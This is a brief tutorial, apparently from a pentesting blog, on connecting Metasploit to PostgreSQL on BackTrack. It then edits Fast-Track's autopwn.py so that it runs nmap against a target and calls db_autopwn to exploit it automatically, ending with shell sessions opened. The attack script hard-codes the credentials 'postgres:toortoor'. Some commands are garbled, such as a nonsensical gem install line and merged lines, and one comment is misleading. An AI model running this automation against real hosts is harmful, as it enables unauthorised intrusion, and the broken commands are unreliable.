First Install Postgresql
apt-get install postgresql libpq-devy
Update Ruby config
update-alternatives --config ruby
Other code
gem install postgres/pentest/exploits/framework3/msfconsole
db_driver
Create a user in Postgres
Open a new shell in order to create the user
sudo su postgres -c psql
\password
\q
or
/opt/metasploit/config/database.yml (modify)
Create postgres database
Back in msfconsole:
db_connect postgres:toortoor@127.0.0.1/metasploitNow fix Fastrack
Edit Fastrack’s autopwn.py
vim /pentest/exploits/fasttrack/bin/ftsrc/autopwn.pyReplace this lines 83 to 99
with this:
try:
child1 = pexpect.spawn('%smsfconsole' % (metapath))
# load sqlite3
child1.sendline ('db_driver postgresql')
# Destroy database
child1.sendline ('db_connect postgres:toortoor@127.0.0.1/metasploit')
# run actual port scans
child1.sendline ('''db_nmap %s ''' % (ipaddr))
# run actual exploitation
child1.sendline ('db_autopwn -p -t -e %s' % (option1))
child1.sendline ('sleep 5')
child1.sendline ('jobs -K')
child1.sendline ('\n\n\n')
child1.sendline ('sessions -l')
child1.sendline ('echo "If it states No sessions, then you were unsuccessful. Simply type sessions -i to jump into a shell"')
Run Fast Track
root@bt: cd /pentest/exploits/fasttrack root@bt:/pentest/exploits/fasttrack# ./fast-track.py -iProfit
Wuoo I see one session opened!